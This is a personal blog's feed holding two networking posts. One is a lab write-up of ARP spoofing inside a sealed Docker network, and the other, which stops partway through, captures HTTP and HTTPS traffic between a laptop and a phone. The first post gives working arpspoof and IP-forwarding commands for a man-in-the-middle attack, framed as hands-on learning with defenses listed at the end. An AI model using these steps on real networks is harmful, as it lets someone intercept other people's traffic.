<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://dilipgona.is-a.dev/feed.xml" rel="self" type="application/atom+xml" /><link href="https://dilipgona.is-a.dev/" rel="alternate" type="text/html" /><updated>2026-06-29T14:07:07+00:00</updated><id>https://dilipgona.is-a.dev/feed.xml</id><title type="html">தி லீ ப</title><subtitle>யாதும் ஊரே யாவரும் கேளிர்; தீதும் நன்றும் பிறர்தர வாரா;
நோதலும் தணிதலும் அவற்றோரன்ன; சாதலும் புதுவது அன்றே;
வாழ்தல் இனிதென மகிழ்ந்தன்றும் இலமே; முனிவின் இன்னாது என்றலும் இலமே.
</subtitle><author><name>திலீப் கோனா</name></author><entry><title type="html">Building a sealed Docker lab to watch ARP spoofing happen</title><link href="https://dilipgona.is-a.dev/isolated-docker-network-arp-spoofing-lab.html" rel="alternate" type="text/html" title="Building a sealed Docker lab to watch ARP spoofing happen" /><published>2026-06-29T00:00:00+00:00</published><updated>2026-06-29T00:00:00+00:00</updated><id>https://dilipgona.is-a.dev/isolated-docker-network-arp-spoofing-lab</id><content type="html" xml:base="https://dilipgona.is-a.dev/isolated-docker-network-arp-spoofing-lab.html"><![CDATA[<p>The <a href="/networking.html">networking post</a> taught me <em>where</em> ARP lives — the floor between IP and the wire, the part that turns <code class="language-plaintext highlighter-rouge">192.168.10.30</code> into a MAC address by shouting “who has this IP?” and trusting whoever answers. The obvious next question: what happens when someone answers who <em>shouldn’t</em>? That’s ARP spoofing, and the only honest way to understand it is to run it and watch the bytes.</p>

<p>But you don’t aim a MITM attack at your own house. ARP poisoning works by lying about MAC addresses, and if the IP you poison is your <strong>gateway</strong>, the path you’re corrupting is the path to your own machine and the internet. So before any attack tool comes out, the real exercise is <strong>building a room with no doors</strong> — an isolated Docker network sealed from my host and from the internet, with three containers inside that can only talk to each other.</p>

<p>This post is that lab: why my first two containers were unusable, how to build the sealed network, and how to confirm the poisoning actually happened.</p>

<hr />

<h2 id="1-why-my-existing-containers-couldnt-do-it">1. Why my existing containers couldn’t do it</h2>

<p>I already had two throwaway containers from the <a href="/docker-ubuntu-mac-run-linux-elf-spookypass.html">Docker-as-cheap-Linux work</a>. I figured I’d reuse them. Inspecting them showed why I couldn’t:</p>

<table>
  <thead>
    <tr>
      <th>Container</th>
      <th>IP</th>
      <th>Gateway</th>
      <th>Capabilities</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>ubuntu-1</td>
      <td>172.17.0.2</td>
      <td>172.17.0.1</td>
      <td>none</td>
    </tr>
    <tr>
      <td>ubuntu-2</td>
      <td>172.17.0.3</td>
      <td>172.17.0.1</td>
      <td>none</td>
    </tr>
  </tbody>
</table>

<p>Two separate dealbreakers, and they’re both about the kind of thing Docker decides <em>once, at creation</em>.</p>

<p><strong>Problem 1 — no raw-packet capabilities.</strong> <code class="language-plaintext highlighter-rouge">caps: []</code>. Tools like <code class="language-plaintext highlighter-rouge">arpspoof</code> forge Ethernet frames by hand, which needs <code class="language-plaintext highlighter-rouge">NET_RAW</code> (craft raw packets) and <code class="language-plaintext highlighter-rouge">NET_ADMIN</code> (touch the network stack). Without them the attack dies with <code class="language-plaintext highlighter-rouge">permission denied</code>. And you <strong>cannot add capabilities to a running container</strong> — Docker only sets them at <code class="language-plaintext highlighter-rouge">docker run</code> time. So these two had to be recreated regardless.</p>

<p><strong>Problem 2 — they’re on the default bridge.</strong> <code class="language-plaintext highlighter-rouge">172.17.0.0/16</code>, gateway <code class="language-plaintext highlighter-rouge">172.17.0.1</code> — and <code class="language-plaintext highlighter-rouge">172.17.0.1</code> <em>is my Mac</em>. This is the exact trap I wanted to avoid: poison the gateway entry here and I’m corrupting the route to my own host. The default bridge also has a path out to the internet. Not a lab. A loaded gun pointed at my own foot.</p>

<p>Since these containers held nothing valuable, recreating them was free. And I needed a third one anyway — a MITM needs a <strong>victim</strong>, a <strong>server</strong> for it to talk to, and the <strong>attacker</strong> sitting in the middle.</p>

<hr />

<h2 id="2-building-the-sealed-room">2. Building the sealed room</h2>

<p>Tear down the old two, build an isolated network, and recreate the three containers <em>with</em> the capabilities they need:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Remove the old throwaways</span>
docker <span class="nb">rm</span> <span class="nt">-f</span> ubuntu-1 ubuntu-2

<span class="c"># Isolated network — --internal seals it from host AND internet</span>
docker network create <span class="nt">--driver</span> bridge <span class="se">\</span>
  <span class="nt">--subnet</span> 192.168.10.0/24 <span class="nt">--internal</span> labnet

<span class="c"># Recreate WITH the capabilities baked in at creation</span>
docker run <span class="nt">-dit</span> <span class="nt">--name</span> attacker <span class="nt">--network</span> labnet <span class="nt">--ip</span> 192.168.10.10 <span class="se">\</span>
  <span class="nt">--cap-add</span><span class="o">=</span>NET_ADMIN <span class="nt">--cap-add</span><span class="o">=</span>NET_RAW ubuntu:26.04 bash
docker run <span class="nt">-dit</span> <span class="nt">--name</span> victim  <span class="nt">--network</span> labnet <span class="nt">--ip</span> 192.168.10.20 <span class="se">\</span>
  <span class="nt">--cap-add</span><span class="o">=</span>NET_ADMIN ubuntu:26.04 bash
docker run <span class="nt">-dit</span> <span class="nt">--name</span> server  <span class="nt">--network</span> labnet <span class="nt">--ip</span> 192.168.10.30 <span class="se">\</span>
  <span class="nt">--cap-add</span><span class="o">=</span>NET_ADMIN ubuntu:26.04 bash
</code></pre></div></div>

<p>The one flag doing the heavy lifting is <code class="language-plaintext highlighter-rouge">--internal</code>. A normal Docker bridge gets a route to the outside; an <code class="language-plaintext highlighter-rouge">--internal</code> one doesn’t — there’s no gateway to the host, no NAT to the internet. The three containers can reach each other on <code class="language-plaintext highlighter-rouge">192.168.10.0/24</code> and nowhere else. Only <code class="language-plaintext highlighter-rouge">attacker</code> gets <code class="language-plaintext highlighter-rouge">NET_RAW</code>, because it’s the only one forging packets.</p>

<p>The roles:</p>

<ul>
  <li><strong>attacker</strong> <code class="language-plaintext highlighter-rouge">…10</code> — runs <code class="language-plaintext highlighter-rouge">arpspoof</code>, the machine in the middle.</li>
  <li><strong>victim</strong> <code class="language-plaintext highlighter-rouge">…20</code> — the one that gets lied to.</li>
  <li><strong>server</strong> <code class="language-plaintext highlighter-rouge">…30</code> — what the victim <em>thinks</em> it’s talking to directly.</li>
</ul>

<hr />

<h2 id="3-tools-first-then-seal-the-door">3. Tools first, then seal the door</h2>

<p>Here’s the ordering trap I walked into: <strong>install everything before you cut the internet.</strong> An <code class="language-plaintext highlighter-rouge">--internal</code> network can’t reach <code class="language-plaintext highlighter-rouge">apt</code>’s mirrors, so once it’s sealed, <code class="language-plaintext highlighter-rouge">apt install</code> just hangs.</p>

<p>If I’d created the containers directly on <code class="language-plaintext highlighter-rouge">labnet</code>, they’d already be sealed and I couldn’t install anything. The trick is to give them the internet <em>temporarily</em> via the default bridge, install, then disconnect.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Temporarily attach to the default bridge so apt can reach the internet</span>
docker network connect bridge attacker
docker network connect bridge victim
docker network connect bridge server

<span class="c"># Install the kit</span>
docker <span class="nb">exec </span>attacker bash <span class="nt">-c</span> <span class="s2">"apt update &amp;&amp; apt install -y </span><span class="se">\</span><span class="s2">
  dsniff iproute2 net-tools tcpdump tshark iputils-ping wget"</span>
docker <span class="nb">exec </span>victim bash <span class="nt">-c</span> <span class="s2">"apt update &amp;&amp; apt install -y </span><span class="se">\</span><span class="s2">
  iproute2 net-tools iputils-ping wget"</span>
docker <span class="nb">exec </span>server bash <span class="nt">-c</span> <span class="s2">"apt update &amp;&amp; apt install -y </span><span class="se">\</span><span class="s2">
  iproute2 net-tools iputils-ping python3"</span>

<span class="c"># Now seal the room — cut every container off from the internet</span>
docker network disconnect bridge attacker
docker network disconnect bridge victim
docker network disconnect bridge server
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">dsniff</code> is the package that ships <code class="language-plaintext highlighter-rouge">arpspoof</code>. After the three <code class="language-plaintext highlighter-rouge">disconnect</code> lines, the lab is airtight — <code class="language-plaintext highlighter-rouge">labnet</code> is the only network left on each container.</p>

<blockquote>
  <p><strong>If you forget something after sealing:</strong> reconnect just that one container (<code class="language-plaintext highlighter-rouge">docker network connect bridge victim</code>), install, then disconnect again. No need to rebuild.</p>
</blockquote>

<hr />

<h2 id="4-the-clean-baseline--what-the-victim-believes-before-the-lie">4. The clean baseline — what the victim believes <em>before</em> the lie</h2>

<p>Always record the truth before you corrupt it, so you can prove the change. From the victim, ask who it thinks <code class="language-plaintext highlighter-rouge">192.168.10.30</code> is:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker <span class="nb">exec</span> <span class="nt">-it</span> victim bash
arp <span class="nt">-n</span>           <span class="c"># note the MAC listed for 192.168.10.30</span>
ping <span class="nt">-c2</span> 192.168.10.30
<span class="nb">exit</span>
</code></pre></div></div>

<p>Write down the MAC shown for <code class="language-plaintext highlighter-rouge">192.168.10.30</code>. Right now it should be the <strong>server’s</strong> real MAC. That number is the whole experiment — when it changes to the attacker’s MAC, the poisoning worked.</p>

<hr />

<h2 id="5-the-attacker-turns-on-forwarding-then-starts-lying">5. The attacker turns on forwarding, then starts lying</h2>

<p>A MITM is only useful if traffic still <em>reaches its destination</em> — otherwise the victim notices instantly because nothing works. So the attacker first becomes a router by enabling IP forwarding, <em>then</em> starts the two-way lie.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker <span class="nb">exec</span> <span class="nt">-it</span> attacker bash

<span class="c"># Become a router so poisoned traffic still flows through to the real server</span>
<span class="nb">echo </span>1 <span class="o">&gt;</span> /proc/sys/net/ipv4/ip_forward

<span class="c"># Two lies, one per direction:</span>
arpspoof <span class="nt">-i</span> eth0 <span class="nt">-t</span> 192.168.10.20 192.168.10.30 &amp;   <span class="c"># tell victim: "I am the server"</span>
arpspoof <span class="nt">-i</span> eth0 <span class="nt">-t</span> 192.168.10.30 192.168.10.20 &amp;   <span class="c"># tell server: "I am the victim"</span>
</code></pre></div></div>

<p>It takes <strong>two</strong> <code class="language-plaintext highlighter-rouge">arpspoof</code> processes because ARP is one-directional. One convinces the victim that the attacker is the server; the other convinces the server that the attacker is the victim. Now both ends send their traffic to the attacker, who forwards it on — neither notices.</p>

<p><strong>About that <code class="language-plaintext highlighter-rouge">&amp;</code>:</strong> it runs each command in the <strong>background</strong> so the shell comes back and the spoofing keeps running. To manage them:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">jobs</span>            <span class="c"># list background jobs</span>
<span class="nb">kill</span> <span class="nt">-9</span> %1 %2   <span class="c"># stop them by job number</span>
</code></pre></div></div>

<p>If you’d rather watch one in the foreground, drop the <code class="language-plaintext highlighter-rouge">&amp;</code> and run a single <code class="language-plaintext highlighter-rouge">arpspoof</code> — it’ll stream its output until you <code class="language-plaintext highlighter-rouge">Ctrl+C</code>.</p>

<hr />

<h2 id="6-watching-it-live--two-ways">6. Watching it live — two ways</h2>

<p><strong>Option A: tcpdump inside the attacker.</strong> Leave this running in the attacker shell:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>tcpdump <span class="nt">-i</span> eth0 <span class="nt">-n</span>
</code></pre></div></div>

<p><strong>Option B: pipe straight into Wireshark on the Mac.</strong> This is the one I liked — tcpdump captures inside the container and streams the raw pcap over stdout into the Wireshark GUI on macOS:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker <span class="nb">exec </span>attacker tcpdump <span class="nt">-i</span> eth0 <span class="nt">-U</span> <span class="nt">-w</span> - 2&gt;/dev/null | <span class="se">\</span>
  /Applications/Wireshark.app/Contents/MacOS/wireshark <span class="nt">-k</span> <span class="nt">-i</span> -
</code></pre></div></div>

<p>Wireshark opens and starts capturing immediately:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Capture MESSAGE] -- Capture Start ...
[Capture MESSAGE] -- Capture started
[Capture MESSAGE] -- File: "/var/.../wireshark_Standard inputWS4NR3.pcapng"
</code></pre></div></div>

<p>(That <code class="language-plaintext highlighter-rouge">[GUI WARNING]</code> about the missing “SF Mono” font is cosmetic — it’s just Wireshark substituting a font, nothing to do with the capture.)</p>

<hr />

<h2 id="7-proving-the-poisoning--the-mac-changed">7. Proving the poisoning — the MAC changed</h2>

<p>Go back to the victim and ask the same question as the baseline:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker <span class="nb">exec</span> <span class="nt">-it</span> victim bash
arp <span class="nt">-n</span>
<span class="nb">exit</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">192.168.10.30</code> now shows the <strong>attacker’s</strong> MAC (<code class="language-plaintext highlighter-rouge">…10</code>’s), not the server’s real MAC from step 4. That’s the whole attack in one line of output: the victim is now convinced the attacker <em>is</em> the server, and every packet it sends “to the server” lands on the attacker first.</p>

<hr />

<h2 id="8-generating-traffic-to-spy-on">8. Generating traffic to spy on</h2>

<p>A sealed lab with no traffic shows nothing. Start a tiny web server on <code class="language-plaintext highlighter-rouge">server</code>, then make the victim talk to it.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># In the server container — a one-line HTTP server on port 80</span>
docker <span class="nb">exec</span> <span class="nt">-it</span> server bash <span class="nt">-c</span> <span class="s2">"cd /tmp &amp;&amp; python3 -m http.server 80"</span>
</code></pre></div></div>

<p>Now generate traffic from the victim and watch it surface in your tcpdump/Wireshark window:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Simplest proof — ICMP</span>
docker <span class="nb">exec </span>victim bash <span class="nt">-c</span> <span class="s2">"ping -c5 192.168.10.30"</span>

<span class="c"># A real HTTP request with no wget needed — bash's built-in /dev/tcp</span>
docker <span class="nb">exec </span>victim bash <span class="nt">-c</span> <span class="s1">'exec 3&lt;&gt;/dev/tcp/192.168.10.30/80; \
  printf "GET / HTTP/1.0\r\n\r\n" &gt;&amp;3; cat &lt;&amp;3'</span>
</code></pre></div></div>

<p>That <code class="language-plaintext highlighter-rouge">/dev/tcp</code> trick is worth keeping in the back pocket — the lab has no <code class="language-plaintext highlighter-rouge">wget</code> in the victim and no internet to install it, but bash can open a TCP socket itself. The <code class="language-plaintext highlighter-rouge">GET /</code> and the server’s response both pass <em>through the attacker</em>, and you watch them go by in real time. Interception confirmed.</p>

<hr />

<h2 id="9-tear-it-all-down">9. Tear it all down</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Ctrl+C the arpspoof and tcpdump windows first (or kill %1 %2), then:</span>
docker <span class="nb">rm</span> <span class="nt">-f</span> attacker victim server
docker network <span class="nb">rm </span>labnet
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">docker rm -f</code> kills and removes the containers; <code class="language-plaintext highlighter-rouge">docker network rm</code> deletes the sealed network. Nothing touched my host, nothing leaked to the internet, and the whole lab is gone in two commands.</p>

<hr />

<h2 id="what-i-took-away">What I took away</h2>

<ol>
  <li><strong>Capabilities and networks are set at <code class="language-plaintext highlighter-rouge">docker run</code>, not after.</strong> <code class="language-plaintext highlighter-rouge">caps: []</code> and “wrong network” can’t be patched on a live container — you recreate it. So decide <code class="language-plaintext highlighter-rouge">--cap-add</code> and <code class="language-plaintext highlighter-rouge">--network</code> <em>before</em> you start, not when the attack fails with <code class="language-plaintext highlighter-rouge">permission denied</code>.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">--internal</code> is the whole safety story.</strong> It’s the difference between a lab and an attack on my own machine. No gateway to the host, no route to the internet — the poisoning can only ever hurt the three containers I built to be hurt. Never run this against the default bridge, where the gateway <em>is</em> your computer.</li>
  <li><strong>Install before you seal.</strong> An isolated network can’t reach <code class="language-plaintext highlighter-rouge">apt</code>. The pattern is connect-to-bridge → install → disconnect. Forget a tool? Reconnect that one container, install, disconnect again.</li>
  <li><strong>ARP spoofing is two lies plus a forward.</strong> One <code class="language-plaintext highlighter-rouge">arpspoof</code> per direction, and <code class="language-plaintext highlighter-rouge">ip_forward=1</code> so traffic still reaches the real server. Skip the forwarding and the victim’s connection breaks — which is a denial of service, not a stealthy MITM.</li>
  <li><strong>The proof is the MAC, not the tool’s output.</strong> <code class="language-plaintext highlighter-rouge">arp -n</code> before and after is the experiment. When <code class="language-plaintext highlighter-rouge">192.168.10.30</code> starts pointing at the attacker’s MAC, the trust in ARP — answering “who has this IP?” with no verification — has been broken, exactly where the <a href="/networking.html">networking post</a> said it would be.</li>
</ol>

<p>The takeaway that sticks: ARP has no authentication. The protocol believes whoever answers first, and that single missing check is the entire attack. Defenses — static ARP entries, dynamic ARP inspection on switches, encrypting traffic so a MITM sees only ciphertext — all exist precisely because the protocol itself will never stop trusting the loudest voice in the room.</p>]]></content><author><name>திலீப் கோனா</name></author><category term="tech" /><summary type="html"><![CDATA[The networking post taught me where ARP lives — the floor between IP and the wire, the part that turns 192.168.10.30 into a MAC address by shouting “who has this IP?” and trusting whoever answers. The obvious next question: what happens when someone answers who shouldn’t? That’s ARP spoofing, and the only honest way to understand it is to run it and watch the bytes.]]></summary></entry><entry><title type="html">Watching HTTP and HTTPS happen between my laptop and my phone</title><link href="https://dilipgona.is-a.dev/watching-http-vs-https-between-laptop-and-phone.html" rel="alternate" type="text/html" title="Watching HTTP and HTTPS happen between my laptop and my phone" /><published>2026-06-29T00:00:00+00:00</published><updated>2026-06-29T00:00:00+00:00</updated><id>https://dilipgona.is-a.dev/watching-http-vs-https-between-laptop-and-phone</id><content type="html" xml:base="https://dilipgona.is-a.dev/watching-http-vs-https-between-laptop-and-phone.html"><![CDATA[<p>In the <a href="/isolated-docker-network-arp-spoofing-lab.html">ARP spoofing lab</a> I watched one device lie to another about who it was, inside a sealed Docker network. This time I wanted the opposite of sealed — a real connection between two real devices on my actual WiFi — and I wanted to watch every byte of it in Wireshark. Then do it again over HTTPS and <em>see</em> the difference encryption makes.</p>

<p>The setup is almost embarrassingly simple: serve a file from my laptop, open it on my phone, and capture the conversation in between. But that one round trip contains the entire stack — ARP to find the MAC, TCP to open the pipe, HTTP to move the data, FIN to hang up. And the HTTPS version shows exactly what the encryption hides.</p>

<hr />

<h2 id="1-the-one-line-server">1. The one-line server</h2>

<p>On the laptop, make a page and serve it:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"hello from my laptop"</span> <span class="o">&gt;</span> index.html
python3 <span class="nt">-m</span> http.server 8000
</code></pre></div></div>

<p>That’s a full HTTP server on port 8000. Find the laptop’s LAN IP (<code class="language-plaintext highlighter-rouge">ipconfig getifaddr en0</code> on macOS) and open it from the phone’s browser:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://&lt;your-laptop-IP&gt;:8000
</code></pre></div></div>

<p>The server log immediately shows the phone knocking:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Serving HTTP on :: port 8000 (http://[::]:8000/) ...
::ffff:192.168.1.51 - - [29/Jun/2026 18:41:06] "GET / HTTP/1.1" 200 -
::ffff:192.168.1.51 - - [29/Jun/2026 18:41:06] "GET /favicon.ico HTTP/1.1" 404 -
::ffff:192.168.1.51 - - [29/Jun/2026 18:41:24] "GET / HTTP/1.1" 304 -
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">192.168.1.51</code> is the phone. The <code class="language-plaintext highlighter-rouge">200</code> is the page, the <code class="language-plaintext highlighter-rouge">404</code> is the browser auto-asking for a favicon that doesn’t exist, and the <code class="language-plaintext highlighter-rouge">304 Not Modified</code> on the reload means the browser cached the page and the server told it “nothing changed, reuse your copy.” Keep that <code class="language-plaintext highlighter-rouge">304</code> in mind — it shows up again in the capture.</p>

<hr />

<h2 id="2-capturing-the-plain-http-conversation">2. Capturing the plain-HTTP conversation</h2>

<p>Clear Wireshark, start a fresh capture, reload the page on the phone, then stop. Filter to just this device:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ip.addr == 192.168.1.51
</code></pre></div></div>

<p>Here’s why you can even <em>see</em> this traffic: <code class="language-plaintext highlighter-rouge">.51</code> (phone) is talking to <code class="language-plaintext highlighter-rouge">.34</code> (laptop). It’s to and from your own machine, so the switch delivers those frames to you — the same Layer-2 rule the ARP post leaned on. You’re not snooping on anyone; you’re watching your own two devices.</p>

<p>Here’s the full capture as Wireshark listed it:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>No.   Time        Source         Destination    Proto  Len  Info
3201  2.981526    192.168.1.51   192.168.1.34   TCP    74   36806 → 8000 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 SACK_PERM TSval=2430649739 TSecr=0 WS=256
3202  2.981718    192.168.1.34   192.168.1.51   TCP    78   8000 → 36806 [SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1460 WS=64 TSval=444530097 TSecr=2430649739 SACK_PERM
3203  2.988713    192.168.1.51   192.168.1.34   TCP    66   36806 → 8000 [ACK] Seq=1 Ack=1 Win=65536 Len=0 TSval=2430649745 TSecr=444530097
3204  2.988717    192.168.1.51   192.168.1.34   HTTP   569  GET / HTTP/1.1
3205  2.988925    192.168.1.34   192.168.1.51   TCP    66   8000 → 36806 [ACK] Seq=1 Ack=504 Win=131328 Len=0 TSval=444530104 TSecr=2430649745
3206  3.003988    192.168.1.34   192.168.1.51   HTTP   170  HTTP/1.0 304 Not Modified
3207  3.004134    192.168.1.34   192.168.1.51   TCP    66   8000 → 36806 [FIN, ACK] Seq=105 Ack=504 Win=131328 Len=0 TSval=444530119 TSecr=2430649745
3208  3.011965    192.168.1.51   192.168.1.34   TCP    66   36806 → 8000 [ACK] Seq=504 Ack=105 Win=65536 Len=0 TSval=2430649769 TSecr=444530119
3209  3.011967    192.168.1.51   192.168.1.34   TCP    66   36806 → 8000 [FIN, ACK] Seq=504 Ack=106 Win=65536 Len=0 TSval=2430649770 TSecr=444530119
3210  3.012056    192.168.1.34   192.168.1.51   TCP    66   8000 → 36806 [ACK] Seq=106 Ack=505 Win=131328 Len=0 TSval=444530127 TSecr=2430649770
3251  3.768488    192.168.1.51   192.168.1.34   TCP    74   36790 → 8000 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 SACK_PERM TSval=2430650511 TSecr=0 WS=256
3253  3.768737    192.168.1.34   192.168.1.51   TCP    78   8000 → 36790 [SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1460 WS=64 TSval=1322402638 TSecr=2430650511 SACK_PERM
3255  3.903635    192.168.1.51   192.168.1.34   TCP    66   36790 → 8000 [ACK] Seq=1 Ack=1 Win=65536 Len=0 TSval=2430650533 TSecr=1322402638
3259  3.903638    192.168.1.51   192.168.1.34   TCP    74   47148 → 8443 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 SACK_PERM TSval=2430650543 TSecr=0 WS=256
3260  3.903638    192.168.1.51   192.168.1.34   TCP    74   36794 → 8000 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 SACK_PERM TSval=2430650543 TSecr=0 WS=256
3261  3.903716    192.168.1.34   192.168.1.51   TCP    66   [TCP Window Update] 8000 → 36790 [ACK] Seq=1 Ack=1 Win=131776 Len=0 TSval=1322402773 TSecr=2430650533
3262  3.903753    192.168.1.34   192.168.1.51   TCP    54   8443 → 47148 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
3263  3.903886    192.168.1.34   192.168.1.51   TCP    78   8000 → 36794 [SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1460 WS=64 TSval=2953406450 TSecr=2430650543 SACK_PERM
3264  4.072157    192.168.1.51   192.168.1.34   TCP    66   36794 → 8000 [ACK] Seq=1 Ack=1 Win=65536 Len=0 TSval=2430650669 TSecr=2953406450
3265  4.072248    192.168.1.34   192.168.1.51   TCP    66   [TCP Window Update] 8000 → 36794 [ACK] Seq=1 Ack=1 Win=131776 Len=0 TSval=2953406618 TSecr=2430650669
</code></pre></div></div>

<p>A couple of things worth pointing out before the decode: packet <code class="language-plaintext highlighter-rouge">3262</code> is a <code class="language-plaintext highlighter-rouge">[RST, ACK]</code> on port <code class="language-plaintext highlighter-rouge">8443</code> — that’s the phone optimistically trying the HTTPS port before I’d started that server, so the laptop slams it shut with a reset. And the <code class="language-plaintext highlighter-rouge">[TCP Window Update]</code> packets are just the receiver announcing it has more buffer room now. The clean HTTP conversation is the <code class="language-plaintext highlighter-rouge">36806 → 8000</code> thread (<code class="language-plaintext highlighter-rouge">3201</code>–<code class="language-plaintext highlighter-rouge">3210</code>). Decoded packet by packet:</p>

<p><strong>The TCP three-way handshake — opening the pipe</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.51 → .34   [SYN]        phone:  "let's talk, my seq=0"
.34 → .51   [SYN, ACK]   laptop: "I hear you, my seq=0, ack your 1"
.51 → .34   [ACK]        phone:  "great, connected"
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">SYN → SYN,ACK → ACK</code> is the handshake <em>every</em> TCP connection on the internet begins with. You just watched it happen between two things in your own room.</p>

<p><strong>The HTTP exchange — the actual data</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.51 → .34   HTTP  GET / HTTP/1.1            phone requests the page
.34 → .51   HTTP  HTTP/1.0 304 Not Modified laptop: "use your cache"
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">304</code> instead of <code class="language-plaintext highlighter-rouge">200</code> because the phone already had the page — same reason it appeared in the Python log.</p>

<p><strong>The teardown — closing the pipe</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[FIN, ACK]   "I'm done sending"
[ACK]        "acknowledged"
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">FIN</code> is a graceful close; both sides agree to hang up.</p>

<h3 id="reading-the-fields">Reading the fields</h3>

<table>
  <thead>
    <tr>
      <th>Field</th>
      <th>Meaning</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">36806 → 8000</code></td>
      <td>phone’s random source port → server’s port 8000</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">[SYN] [ACK] [FIN]</code></td>
      <td>TCP control flags — open / acknowledge / close</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">Seq</code> / <code class="language-plaintext highlighter-rouge">Ack</code></td>
      <td>byte counters; how TCP guarantees nothing is lost or out of order</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">Win=65535</code></td>
      <td>receive window — how much data it’ll accept before pausing</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">MSS=1460</code></td>
      <td>max segment size — biggest chunk per packet</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">Len=0</code></td>
      <td>pure control packet, no payload</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">TSval</code> / <code class="language-plaintext highlighter-rouge">TSecr</code></td>
      <td>timestamps, used to measure round-trip time</td>
    </tr>
  </tbody>
</table>

<p>Put this next to the earlier ARP capture and you’ve seen the full stack of a LAN conversation:</p>

<ol>
  <li><strong>ARP</strong> — “who has <code class="language-plaintext highlighter-rouge">192.168.1.34</code>?” → find the MAC <em>(Layer 2)</em></li>
  <li><strong>TCP SYN</strong> — handshake → open a pipe <em>(Layer 4)</em></li>
  <li><strong>HTTP GET</strong> — request / response → exchange data <em>(Layer 7)</em></li>
  <li><strong>TCP FIN</strong> — teardown → close the pipe</li>
</ol>

<p>That’s literally what happens every time any device loads any page. You’re just watching it in slow motion.</p>

<h3 id="see-the-message-itself">See the message itself</h3>

<p>Right-click the <code class="language-plaintext highlighter-rouge">GET</code> packet → <strong>Follow → HTTP Stream</strong>. Because it’s plain HTTP, you see the raw request and the page’s HTML <strong>in cleartext</strong> — a perfect demonstration of why unencrypted HTTP exposes everything.</p>

<hr />

<h2 id="3-now-do-it-over-https">3. Now do it over HTTPS</h2>

<p>To see what encryption changes, serve the same thing over TLS. First make a self-signed certificate:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>openssl req <span class="nt">-new</span> <span class="nt">-x509</span> <span class="nt">-keyout</span> key.pem <span class="nt">-out</span> cert.pem <span class="nt">-days</span> 365 <span class="nt">-nodes</span> <span class="nt">-subj</span> <span class="s2">"/CN=mylaptop"</span>
</code></pre></div></div>

<p>Then start an HTTPS server on <code class="language-plaintext highlighter-rouge">8443</code> that wraps the same handler in a TLS socket:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 <span class="nt">-c</span> <span class="s2">"import http.server, ssl; </span><span class="se">\</span><span class="s2">
ctx=ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER); </span><span class="se">\</span><span class="s2">
ctx.load_cert_chain('cert.pem','key.pem'); </span><span class="se">\</span><span class="s2">
s=http.server.HTTPServer(('0.0.0.0',8443), http.server.SimpleHTTPRequestHandler); </span><span class="se">\</span><span class="s2">
s.socket=ctx.wrap_socket(s.socket, server_side=True); </span><span class="se">\</span><span class="s2">
print('Serving HTTPS on :8443'); s.serve_forever()"</span>
</code></pre></div></div>

<p>Optionally watch the raw frames from a second terminal at the same time:</p>

